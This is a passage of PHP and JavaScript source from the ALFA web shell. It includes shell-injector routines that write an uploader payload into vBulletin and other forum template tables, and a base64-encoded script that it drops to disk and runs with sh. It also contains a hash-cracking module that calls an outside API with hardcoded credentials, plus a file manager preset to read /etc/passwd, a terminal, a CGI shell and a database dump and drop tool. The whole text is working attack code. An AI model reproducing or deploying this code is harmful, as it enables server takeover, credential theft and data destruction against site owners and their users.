$repairdbtemp = "update {$prefix}templates SET template= '$repsave' where title = 'calendar'";
$clear = mysqli_query($conn,$repairdbtemp) or die (mysqli_error($conn));$res = true;}
@fclose($fsock);}}elseif(function_exists('curl_version') && $method == 'auto'){
$AlfaCurl->Send($realurl.$realpath."/calendar.php");
$res = true;
}
if($res){
$ff = 'http://'.$realurl.$realpath."/solevisible.php";
output($ff);
}else{
$ff = 'http://'.$realurl.$realpath."/calendar.php";
$fff = 'http://'.$realurl.$realpath."/solevisible.php";
echo "<br><pre id='strOutput' style='margin-top:5px' class='ml1'><br><center><b><font color='#FFFFFF'>Please Go To Target => </font><a href='".$ff."' target='_blank'>".$ff."</a><br/><font color='#FFFFFF'>And Go To => </font><a href='".$fff."' target='_blank'>".$fff."</a></b></center><br><br>";
}}}}
if(isset($_POST['alfa3']) && $_POST['alfa3']== 'vb'){
AlfaNum(1,2,7,9,10);
echo __pre().'<p><div class="txtfont_header">| vbulletin |</div></p><p>'.getConfigHtml('vb').'</p><form name="frm" method="POST" onsubmit="g(\'ShellInjectors\',null,null,this.lo.value,\'vb\',this.user.value,this.pass.value,this.tab.value,this.db.value,this.method.value); return false;">';
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'lo', 'id'=>'db_host','inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'db', 'id'=>'db_name','inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'user', 'id'=>'db_user','inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'pass', 'id'=>'db_pw','inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'tab', 'id'=>'db_prefix','inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo $selector;
echo '<p><input type="submit" value=" " /></p></form></center>';
if(isset($_POST['alfa4'])&&!empty($_POST['alfa4'])){
$method = $_POST['alfa8'];
$faq_name = "faq";
$faq_file = "/faq.php";
$code = "{\${".ALFA_UPLOADER."}}{\${exit()}}&";
$conn=@mysqli_connect($_POST['alfa2'],$_POST['alfa4'],$_POST['alfa5'],$_POST['alfa7']) or die(@mysqli_connect_error());
$rec = "select `template` from ".$_POST['alfa6']."template WHERE title ='".$faq_name."'";
$recivedata = @mysqli_query($conn,$rec);
$getd = @mysqli_fetch_assoc($recivedata);
$savetoass = $getd['template'];
if(empty($savetoass)){
$faq_name = "header";
$faq_file = "/";
$rec = "select `template` from ".$_POST['alfa6']."template WHERE title ='".$faq_name."'";
$recivedata = @mysqli_query($conn,$rec);
$getd = @mysqli_fetch_assoc($recivedata);
$savetoass = $getd['template'];
$code = ALFA_UPLOADER.";";
}
$code = str_replace("'","\'",$code);
$p = "UPDATE ".$_POST['alfa6']."template SET `template`='".$code."' WHERE `title`='".$faq_name."'";
$ka= @mysqli_query($conn,$p) or die(mysqli_error($conn));
$geturl = @mysqli_query($conn,"select `value` from ".$_POST['alfa6']."setting WHERE `varname`='bburl'");
$getval = @mysqli_fetch_assoc($geturl);
$saveval = $getval['value'];
if($faq_name == "header"){
if(substr($saveval, -5, 5) == "/core"){
$saveval = substr($saveval, 0, -5);
}
}
$realurl = parse_url($saveval,PHP_URL_HOST);
$realpath = parse_url($saveval,PHP_URL_PATH);
$res = false;
$AlfaCurl = new AlfaCURL();
if(extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto'){
if($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){
@fputs($fsock, "GET $realpath.$faq_file HTTP/1.1\r\n");
@fputs($fsock, "HOST: $realurl\r\n");
@fputs($fsock, "Connection: close\r\n\r\n");
$check = fgets($fsock);
if(preg_match("/200 OK/i",$check)){
$p1 = "UPDATE ".$_POST['alfa6']."template SET template ='".mysqli_real_escape_string($conn,$savetoass)."' WHERE title ='".$faq_name."'";
$ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));
$res = true;
}
@fclose($fsock);
}
}elseif(function_exists('curl_version') && $method == 'auto'){
$AlfaCurl->Send($realurl.$realpath.$faq_file);
$p1 = "UPDATE ".$_POST['alfa6']."template SET template ='".mysqli_real_escape_string($conn,$savetoass)."' WHERE title ='".$faq_name."'";
$ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));
$res = true;
}
if($res){
$ff = 'http://'.$realurl.$realpath."/solevisible.php";
output($ff);
}else{
$ff = 'http://'.$realurl.$realpath.$faq_file;
$fff = 'http://'.$realurl.$realpath."/solevisible.php";
echo "<center><p><font color=\"#FFFFFF\">First Open This Link => </font><a href='".$ff."' target='_blank'>".$ff."</a><br/><font color=\"#FFFFFF\">Second Open This Link => </font><a href='".$fff."' target='_blank'>".$fff."</a></center></p>";}}}
echo '</div>';
alfafooter();
}
function alfacheckfiletype(){
$path = $_POST['path'];
$arg = $_POST['arg'];
if(@is_file($path.'/'.$arg)){
echo("file");
}else{
echo("dir");
}
}
function alfaWriteTocgiapi($name, $source){
$temp = "";
$not_api = array("basedir.alfa", "getdir.alfa", "getheader.alfa");
if(in_array($name, $not_api)){
$temp = ALFA_TEMPDIR;
if($temp){
@chdir($temp);
}
}else{
alfaCreateParentFolder();
@chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
}
@mkdir('alfacgiapi',0755);
__write_file("alfacgiapi/".$name, __get_resource($source));
@chmod("alfacgiapi/".$name, 0755);
return $temp;
}
function alfacheckcgi(){if(strlen(alfaEx("id",false,true,true))>0)echo("ok");else echo("no");}
function alfaupdateheader(){
if(!isset($_COOKIE["updateheader_data"])){
$bash = "zZRdb9owFIavya849dIGJLK0vVyFNFTohERBgtFdQIRM4hAL40R2UkYp/312gPARqLqbaYnyIfs8x+85r+UvV04qhTOh3JGhMeg3nwbtWnnqecDUoz8+zPGMQBzGEBPBIF4mYcRBpJMlJFjA9I3GMNm+MAvwPXCFRR5OCMiU+pqqGI3ur067W280e/1aeTElCQQk8UJgS/4bGOUzCV6q0usZtojtORUiEhWDeGEENgFrhVJJgpShb8ORZxlBJIAC5WCuNqqH3931A/iRAepahNQLa2Y5+4JJK0ZpOIQrsN8AmdkgAteFmxvY5R8hk45Q1VK5q4YfcZKvjEbqdqsjD+3FID9acBZhn4iinoNS/62olOM5UXqQZZazf7AxvKu+JmB7d/bd/W3FyiDrEJJEUH9LyQTrWEDXKQzhegAuUtpu0RluKqI0PgNONfjjA9CP5phyqUE98dLq/RzU2+NG97ne6vRryFH7wnmlIkkxczbBqtlESGR06s/Nxvix23nahuki/a9exANkvNTbrXq/mWfAjGJJpKNneuMMVVOvWGwoNU4DUAbobponKrQRD5CEhBulbZT4OKq0K9As48UMrGansYoF5Ql0emsLTtEK7PqgLYQSYftljhpwYQ0mC3HvsPDAZseZjxKb+/79jfQ9VcgtyQGOHrFiegT7aguc2ANuRgTUyAWRgiC99XNDtm4Wx7deXrLogLvQt4OYsz07duP8isWUedB/7sOnXbgs9KT2w6CzxW/0fX6baH35ceGu1SnxBw==";
$realdir = addslashes(dirname($_SERVER["SCRIPT_FILENAME"]));
$tmp_path = alfaWriteTocgiapi("getheader.alfa",$bash);
$data = alfaEx("cd '{$tmp_path}/alfacgiapi';sh getheader.alfa",false,true,true);
if(@is_array(@json_decode($data,true))){
__alfa_set_cookie("updateheader_data", __ZW5jb2Rlcg($data));
echo $data;
}
}else{
echo __ZGVjb2Rlcg($_COOKIE["updateheader_data"]);
}
}
function is_ipv4($ip){
return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? $ip : '(Null)';
}
function __alert($s){
echo '<center>'.__pre().$s.'</center>';
}
function create_table($data){
echo '<table border="1">';
foreach ($data as $key => $val){
$array = array();
foreach($val as $k => $v){
$array[$k] = $v;
}
echo "<tr><td><div class='tbltxt'>".$array['tdName']."</div></td><td><input type='text' id='".$array['id']."' name='".$array['inputName']."' ".($array['placeholder']?'placeholder':'value')."='".$array['inputValue']."' size='".$array['inputSize']."' ".($array['disabled']?'disabled':'')."></td></tr>";
}
echo '</table>';
}
function alfacpcrack(){
alfahead();
echo '<div class=header><center><p><div class="txtfont_header">| Hash Tools |</div></p><h3><a href=javascript:void(0) onclick="g(\'cpcrack\',null,\'dec\')">| DeCrypter | </a><a href=javascript:void(0) onclick="g(\'cpcrack\',null,\'analyzer\')">| Hash Analyzer | </a></h3></center>';
if($_POST['alfa1']=='dec'){
$algorithms = array('md5'=>'MD5','md4'=>'MD4','sha1'=>'SHA1','sha256'=>'SHA256','sha384'=>'SHA384','sha512'=>'SHA512','ntlm'=>'NTLM');
echo '<center><div class="txtfont_header">| DeCrypter |</div><br><br>
<form onsubmit="g(\'cpcrack\',null,\'dec\',this.md5.value,\'>>\',this.alg.value); return false;"><div class="txtfont">Decrypt Method:</div> <select name="alg" style="width:100px;">';
foreach($algorithms as $key=>$val){echo('<option value="'.$key.'">'.$val.'</option>');}
echo'</select><input type="text" placeholder="Hash" name="md5" size="60" id="text" /> <input type="submit" value=" " name="go" /></form></center><br>';
if($_POST['alfa3'] == '>>'){
$hash = $_POST['alfa2'];
if(!empty($hash)){
$hash_type = $_POST['alfa4'];
$email = "solevisible@gmail.com";
$code = "7b9fa79f92c3cd96";
$target = "https://md5decrypt.net/Api/api.php?hash=".$hash."&hash_type=".$hash_type."&email=".$email."&code=".$code;
$resp = @file_get_contents($target);
if($resp==''){
$get = new AlfaCURL();
$resp = $get->Send($target);
}
echo __pre().'<center>';
switch($resp){
case('CODE ERREUR : 001'):echo "<b><font color='red'>You exceeded the 400 allowed request per day</font></b>";break;
case('CODE ERREUR : 003'):echo "<b><font color='red'>Your request includes more than 400 hashes.</font></b>";break;
case('CODE ERREUR : 004'):echo "<b><font color='red'>The type of hash you provide in the argument hash_type doesn't seem to be valid</font></b>";break;
case('CODE ERREUR : 005'):echo "<b><font color='red'>The hash you provide doesn't seem to match with the type of hash you set.</font></b>";break;
}
if(substr($resp,0,4)!='CODE'&&$resp!=''){
echo "<b>Result: <font color='green'>".$resp."</font></b>";
}elseif(substr($resp,0,4)!='CODE'){
echo "<font color='red'>NoT Found</font><br />";
}
echo('</center>');
}
}
}
if($_POST['alfa1']=='analyzer'){
echo '<center><p><div class="txtfont_header">| Hash Analyzer |</div></p>
<form onsubmit="g(\'cpcrack\',null,\'analyzer\',this.hash.value,\'>>\');return false;">
<div class="txtfont">Hash: </div> <input type="text" placeholder="Hash" name="hash" size="60" id="text" /> <input type="submit" value=" " name="go" /></form></center><br>';
if($_POST['alfa3'] == '>>'){
$hash = $_POST['alfa2'];
if(!empty($hash)){
$curl = new AlfaCURL();
$resp = $curl->Send("https://md5decrypt.net/en/HashFinder/","post","hash={$hash}&crypt=Search");
echo(__pre().'<center>');
if(preg_match('#<fieldset class="trouve">(.*?)</fieldset>#',$resp,$s)){
echo('<font color="green">'.$s[1].'</font>');
}else{
echo('<font color="red">Not Found...!</font>');
}
echo('</center><br>');
}
}
}
echo '</div>';
alfafooter();
}
function alfafooter(){
if(!isset($_POST['ajax'])){
echo "<table class='foot' width='100%' border='0' cellspacing='3' cellpadding='0' >
<tr>
<td width='17%'><form onsubmit=\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'mkfile','','','','file');this.f.value='';return false;\"><span class='footer_text'>Make File : </span><br><input class='dir' type='text' name='f' value=''> <input type='submit' value='>>'></form></td>
<td width='21%'><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);this.d.value='';return false;\"><span class='footer_text'>Make Dir : </span><br><input class='dir' type='text' name='d' value=' '> <input type='submit' value='>>'></form></td>
<td width='22%'><form onsubmit=\"g('FilesMan',null,'delete',this.del.value);this.del.value='';return false;\"><span class='footer_text'>Delete : </span><br><input class='dir' type='text' name='del' value=' '> <input type='submit' value='>>'></form></td>
<td width='19%'><form onsubmit=\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'chmod','','','','none');this.f.value='';return false;\"><span class='footer_text'>Chmod : </span><br><input class='dir' type=text name=f value=' '> <input type='submit' value='>>'></form></td>
</tr>
<tr>
<td colspan='2'><form onsubmit='g(\"FilesMan\",this.c.value,\"\");return false;'><span class='footer_text'>Change Dir : </span><br><input class='foottable' id='footer_cwd' type='text' name='c' value='".htmlspecialchars($GLOBALS['cwd'])."'> <input type='submit' value='>>'></form></td>
<td colspan='2'><form onsubmit=\"editor(this.file.value,'view','','','','file');return false;\"><span><span class='footer_text'>Read File : </span></span><br><input class='foottable' type='text' name='file' value='/etc/passwd'> <input type='submit' value='>>'></form></td>
</tr>
<tr>
<td colspan='4'><form style='margin-top: 10px;' onsubmit=\"return false;\" autocomplete='off'><span><button onClick='alfaOpenPhpTerminal();return false;' class='foottable alfa_custom_cmd_btn'>Terminal</button><br></form></td>
</tr>
<tr>
<td colspan='4'><form onsubmit='u(this);return false;' name='footer_form' method='post' ENCTYPE='multipart/form-data'>
<input type='hidden' name='a' value='FilesMAn'>
<input type='hidden' name='c' value='" . $GLOBALS['cwd'] ."'>
<input type='hidden' name='ajax' value='true'>
<input type='hidden' name='alfa1' value='uploadFile'>
<input type='hidden' name='charset' value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
<span class='footer_text'>Upload file: </span><span><button id='addup' onclick='addnewup();return false;'><b>+</b></button></span><p id='pfooterup'><label class='inputfile' for='footerup'><span id='__fnameup'></span> <strong> Choose a file</strong></label><input id='footerup' class='toolsInp' type='file' name='f[]' onChange='handleup(this,0);' multiple></p><input type='submit' name='submit' value='>>'></form><div id='alfa-copyright'><span class='copyright'>[ ??? © 2012-".date('Y')." ]</span></div></td>
</tr>
</table>
</div>
<div id='options_window' style='background:rgba(0, 0, 0, 0.69);'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"options_window\");'></div><div onClick='editorClose(\"options_window\");' class='close-button'></div></div></div><div style='height:100%;' class='content_options_holder'><div class='options_tab'></div><div class='options_content' style='margin-left:14px;margin-right:30px;background:#000;overflow:auto;'></div></div></div></div>
<div id='database_window' style='background:rgba(0, 0, 0, 0.69);'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'>Sql Manager</div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"database_window\");'></div><div onClick='editorClose(\"database_window\");' class='close-button'></div></div></div><div class='content_options_holder' style='margin-left:14px;margin-right:30px;background:#000;max-height:90%;'><div class='sql-tabs'></div><div class='sql-contents' style='max-height: 85vh;'></div></div></div></div>
<div id='cgiloader'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"cgiloader\");'></div><div onClick='editorClose(\"cgiloader\");' class='close-button'></div></div></div><div id='cgiframe' style='position:relative;margin-left:14px;margin-right:30px;'><div class='terminal-tabs'></div><div style='height:90%;' class='terminal-contents'></div></div></div></div>
<div id='editor' style='display:none;'><div class='editor-wrapper'><div class='editor-header'><div class='editor-path'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"editor\");'></div><div onClick='editorClose(\"editor\");' class='close-button'></div></div></div><div onclick='historyPanelController(this);' mode='visible' class='history-panel-controller'><<</div><div class='editor-explorer'><div class='hheader'><div class='history-clear' onclick='clearEditorHistory();'>Clear all</div><div class='hheader-text'>History</div><div class='editor-search'><input type='text' style='text-align:center;' id='search-input' placeholder='search'></div></div><div class='history-list'></div></div><div class='editor-modal'><div class='editor-body'><div class='editor-content'><div class='editor-tabs'></div><div class='editor-content-holder'></div></div></div></div></div></div>
<div id='update-content'></div>
<div id='database_window-minimized' onclick='showEditor(\"database_window\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div class='minimized-text' style='top: 15px;'>Database</div></div></div>
<div id='options_window-minimized' onclick='showEditor(\"options_window\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 4px;' class='minimized-text'>Options</div></div></div>
<div id='editor-minimized' onclick='showEditor(\"editor\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 2px;' class='minimized-text'>Editor</div></div></div>
<div id='cgiloader-minimized' onclick='showEditor(\"cgiloader\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 12px;' class='minimized-text'>Cgi Shell</div></div></div>
<div id='rightclick_menu'>
<a target='_blank' href='' name='newtab'><img src=\"http://solevisible.com/icons/menu/newtab.svg\"> Open in new tab</a>
<a target='_blank' href='' name='link'><img src=\"http://solevisible.com/icons/menu/link.svg\"> Open file directly</a>
<a href='javascript:void(0);' name='download'><img src=\"http://solevisible.com/icons/menu/download2.svg\"> Download</a>
<a href='' name='view'><img src=\"http://solevisible.com/icons/menu/view.svg\"> View</a>
<a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='view_archive'><img src=\"http://solevisible.com/icons/menu/view.svg\"> View Archive</a>
<a href='' name='edit'><img src=\"http://solevisible.com/icons/menu/edit.svg\"> Edit</a>
<a href='javascript:void(0);' onclick='alfaPopupAction(this, \"move\");' ftype='' path='' fname='' href='' href='' name='move'><img src=\"http://solevisible.com/icons/menu/move.svg\"> Move</a>
<a href='javascript:void(0);' onclick='alfaPopupAction(this, \"copy\");' ftype='' path='' fname='' href='' name='copy'><img src=\"http://solevisible.com/icons/menu/copy.svg\"> Copy</a>
<a href='javascript:void(0);' onclick='alfaPopupAction(this, \"rename\");' ftype='' path='' fname='' name='rename'><img src=\"http://solevisible.com/icons/menu/rename.svg\"> Rename</a>
<a href='javascript:void(0);' onclick='alfaPopupAction(this, \"modify\");' ftype='' path='' fname='' name='modify'><img src=\"http://solevisible.com/icons/menu/time.svg\"> Modify</a>
<a href='javascript:void(0);' onclick='alfaPopupAction(this, \"permission\");' name='permission'><img src=\"http://solevisible.com/icons/menu/key.svg\"> Change Permissions</a>
<a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='compress'><img src=\"http://solevisible.com/icons/menu/resize.svg\"> Compress</a>
<a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='extract'><img src=\"http://solevisible.com/icons/menu/increase.svg\"> Extract</a>
<a href='javascript:void(0);' name='delete'><img src=\"http://solevisible.com/icons/menu/delete.svg\"> Delete</a>
</div>
<div id=\"filesman-tab-full-path\"></div>
<div id='alert-area' class='alert-area'></div>
<div class='cl-popup-fixed' style='display:none;'>
<div id='shortcutMenu-holder'>
<div class='popup-head'></div>
<form autocomplete='off' onSubmit='return false;'>
<label class='old-path-lbl'></label>
<div style='overflow: hidden;white-space: nowrap;text-overflow: ellipsis;' class='old-path-content'></div>
<label style='margin-top:10px;' class='new-filename-lbl'>New file name</label>
<input type='text' name='fname'>
<div class='perm-table-holder'>
<table>
<tbody>
<tr>
<td><b>Mode</b></td>
<td>User</td>
<td>Group</td>
<td>World</td>
</tr>
<tr>
<td>Read</td>
<td><input type='checkbox' name='ur' value='4' onclick='calcperm();'></td>
<td><input type='checkbox' name='gr' value='4' onclick='calcperm();'></td>
<td><input type='checkbox' name='wr' value='4' onclick='calcperm();'></td>
</tr>
<tr>
<td>Write</td>
<td><input type='checkbox' name='uw' value='2' onclick='calcperm();'></td>
<td><input type='checkbox' name='gw' value='2' onclick='calcperm();'></td>
<td><input type='checkbox' name='ww' value='2' onclick='calcperm();'></td>
</tr>
<tr>
<td>Execute</td>
<td><input type='checkbox' name='ux' value='1' onclick='calcperm();'></td>
<td><input type='checkbox' name='gx' value='1' onclick='calcperm();'></td>
<td><input type='checkbox' name='wx' value='1' onclick='calcperm();'></td>
</tr>
<tr>
<td>Permission</td>
<td><input style='width:60px;' type='text' name='u' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"u\", [\"u\"]);'></td>
<td><input style='width:60px;' type='text' name='g' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"g\", [\"g\"]);'></td>
<td><input style='width:60px;' type='text' name='w' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"w\", [\"w\"]);'></td>
</tr>
</tbody>
</table>
</div>
</form>
<div class='popup-foot'>
<button style='background: #2b5225;' name='accept' action='' onclick='alfaPopUpDoAction(this);'></button>
<button style='background: #9e2c2c;' onclick='d.querySelector(\".cl-popup-fixed\").style.display=\"none\";'>Cancell</button>
</div>
</div>
</div>";
<script>
function alfaMysqlApi(e,t){var a={host:mysql_cache[e.db_id].host,user:mysql_cache[e.db_id].user,pass:mysql_cache[e.db_id].pass,db:e.db_target,db_id:e.db_id};if(e.hasOwnProperty("db_info"))for(var i in e.db_info)a[i]=e.db_info[i];var l={a:alfab64("Sql_manager_api"),c_:alfab64(c_),alfa1:alfab64(JSON.stringify(a))};if(e.hasOwnProperty("post"))for(var i in e.post.hasOwnProperty("alfa2")&&"load_data"!=e.post.alfa2&&"page"!=e.post.alfa2&&"edit"!=e.post.alfa2&&"delete"!=e.post.alfa2&&(d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-pager").innerHTML="",d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-reporter").innerHTML=""),e.post)l[i]=alfab64(e.post[i]);var r="";for(var o in l)r+=o+"="+l[o]+"&";alfaloader(e.db_id,"block"),_Ajax(d.URL,r,function(a){alfaloader(e.db_id,"none"),t(a)},!0,e.db_id)}function alfaMysqlFilterTable(e,t){setTimeout(function(){var a="",i="",l=(a="","");if(null!=e)a=e.getAttribute("target"),i=e.getAttribute("db_id"),l=e.value;else a=t.target,i=t.db_id,l=t.value;l=new RegExp(l,"i"),d.querySelectorAll("#"+i+" "+a+" ul > li").forEach(function(e){var t=e.querySelector(".mysql_tables");if(null==t)return!1;-1==(t=t.innerText).search(l)?e.style.display="none":e.style.display="block"})},200)}function alfaMysqlFilterAllTable(e,t){var a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" .mysql-tables input[name=filter_all]").value,l=d.querySelector("#"+a+" input[name=sql_count]").checked,r=[],o=[];if(d.querySelectorAll("#"+a+" .mysql-tables .list_container").forEach(function(e){var t=e.getAttribute("mode"),a=e.getAttribute("db_name");"no"==t&&r.push(a),o.push(a)}),r.length>0){if(0==i.length&&void 0===t)return!1;alfaMysqlApi({db_id:a,db_target:r[0],ajax_id:"mysql_get_all_tables",db_info:{databases:r},post:{alfa2:"load_all_tables",alfa3:l}},function(r){if(0!=r.length){for(var o in r=JSON.parse(r)){var n=o,s=d.querySelector("#"+a+" .cls-"+n);alfaMysqlMakeTblList(r[o],s,a,n,l)}void 0===t?alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}):(e.setAttribute("mode","opened"),d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/b_minus.png")}})}else if(void 0===t)for(var n in alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}),o)alfaMysqlTableMode(a,o[n],"closed");else{var s="",c=e.getAttribute("mode");for(var n in"opened"==c?(e.setAttribute("mode","closed"),s="b_plus.png"):(e.setAttribute("mode","opened"),s="b_minus.png"),o)alfaMysqlTableMode(a,o[n],c);d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/"+s}}function alfaMysqlTableMode(e,t,a){var i=d.querySelector("#"+e+" .cls-"+t),l="";void 0===a?(l=-1!=i.classList.value.indexOf("hide-db-tables")?"b_minus.png":"b_plus.png",i.classList.toggle("hide-db-tables")):"opened"==a?(l="b_plus.png",i.classList.add("hide-db-tables")):(l="b_minus.png",i.classList.remove("hide-db-tables")),d.querySelector("#"+e+" .cls-"+t+"-expander img").src="http://solevisible.com/icons/menu/"+l}function alfaMysqlExpander(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=e.getAttribute("sql_count"),l=d.querySelector("#"+a+" .cls-"+t);"loaded"==l.getAttribute("mode")?alfaMysqlTableMode(a,t):alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_get_tables",post:{alfa2:"load_tables",alfa3:i}},function(e){0!=e.length&&alfaMysqlMakeTblList(e=JSON.parse(e),l,a,t,i)})}function alfaMysqlTablesEvil(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i=e.getAttribute("mode");"checked"==i?(i=!1,e.setAttribute("mode","not")):(i=!0,e.setAttribute("mode","checked")),d.querySelectorAll("#"+a+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked=i})}function alfaMysqlTablesDumpDrop(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i="none";"dump"==e.value&&(i="block"),d.querySelector("#"+a+" "+t+" .dump-file-holder").style.display=i}function alfaMysqlTablesDumpDropBtn(e){var t=e.getAttribute("target"),a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=[],r=d.querySelector("#"+i+" input[name=sql_count]").checked,o=d.querySelector("#"+i+" "+t),n=o.querySelector("select[name=tables_evil]").value,s=o.querySelector(".dump-file-holder input").value;d.querySelectorAll("#"+i+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked&&l.push(e.value)}),l.length>0&&alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_query_evil",db_info:{tables:l,mode:n,dump_file:s},post:{alfa2:"dump_drop"}},function(e){0!=e.length&&(e=JSON.parse(e),"drop"==n?alfaMysqlMakeTblList(e,o,i,a,r):o.querySelector(".dump-file-holder").insertAdjacentHTML("beforeend","<div><a href='javascript:void(0);' onclick='g(\"FilesTools\",null,\""+s+'","download");\'><span>Download: '+s+"</span></a></div>"))})}function alfaMysqlMakeTblList(e,t,a,i,l){t.setAttribute("mode","loaded");var r='<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" db_id="'+a+'" placeholder="Filter Table" target=".cls-'+i+'" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>';for(varo in e)null!=e[o]&&(r+="<li><div class='block'><i></i><b></b></div><div class='tables-row'><input type='checkbox' name='tbl[]' value='"+e[o].name+"'> <a class='db-opt-id' db_target='"+i+"' db_id='"+a+"' href='javascript:void(0);' onclick=\"alfaLoadTableData(this, '"+e[o].name+"')\"><span class='mysql_tables' style='font-weight:unset;'>"+e[o].name+"</span></a>"+(l?" <small><span style='font-weight:unset;' class='mysql_table_count'>("+e[o].count+")</span></small>":" ")+"</div></li>");r+='</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" db_id="'+a+'" class="db-opt-id" target=".cls-'+i+'" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" db_id="'+a+'" target=".cls-'+i+'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" db_id="'+a+'" class="db-opt-id" db_target="'+i+'" target=".cls-'+i+'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>',t.innerHTML=r,d.querySelector("#"+a+" .cls-"+i+"-expander img").src="http://solevisible.com/icons/menu/b_minus.png"}function alfaMysqlQuery(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" textarea[name=query]").value;alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_load_query_data",db_info:{query:i},post:{alfa2:"query"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0))})}function alfaMysqlReportBuilder(e,t){var a="";t.status||(a="<div><span>Error: </span><div style='padding-left: 50px;'><pre>"+t.error+"</pre></div></div>");var i="<div><span>Query:</span><div style='padding-left: 50px;'><pre>"+t.query+"</pre></div>"+a+"</div>";d.querySelector("#"+e+" .mysql-query-reporter").innerHTML=i}function alfaMysqlTablePanelCtl(e){var t=e.getAttribute("db_id"),a=(t=e.getAttribute("db_id"),d.querySelector("#"+t)),i=a.querySelector(".tables-panel-ctl");"none"==i.getAttribute("mode")?(a.querySelector(".mysql-tables").style.display="block",i.setAttribute("mode","block"),i.innerHTML="<<",a.querySelector(".mysql-query-results-fixed").classList.remove("mysql-query-results-fixed")):(a.querySelector(".mysql-tables").style.display="none",i.setAttribute("mode","none"),i.innerHTML=">>",a.querySelector(".mysql-query-results").classList.add("mysql-query-results-fixed")),i.classList.toggle("tables-panel-ctl-min")}function alfaMysqlTabCtl(e,t){var a=void 0===t?e.getAttribute("db_id"):e.db_id,i=void 0===t?e.getAttribute("target"):e.target;d.querySelectorAll("#"+a+" .mysql-query-content").forEach(function(e){e.classList.add("mysql-hide-content")}),d.querySelector("#"+a+" .mysql-query-result-tabs .mysql-query-selected-tab").classList.remove("mysql-query-selected-tab"),void 0===t?e.classList.add("mysql-query-selected-tab"):d.querySelector("#"+a+" .mysql-query-result-tabs div:nth-child("+e.child+")").classList.add("mysql-query-selected-tab"),d.querySelector("#"+a+" "+i).classList.remove("mysql-hide-content")}function alfaLoadTableData(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_load_table_data",db_info:{table:t},post:{alfa2:"load_data"}},function(e){if(0!=e.length){e=JSON.parse(e);var l="",r="<table border='1'><tr 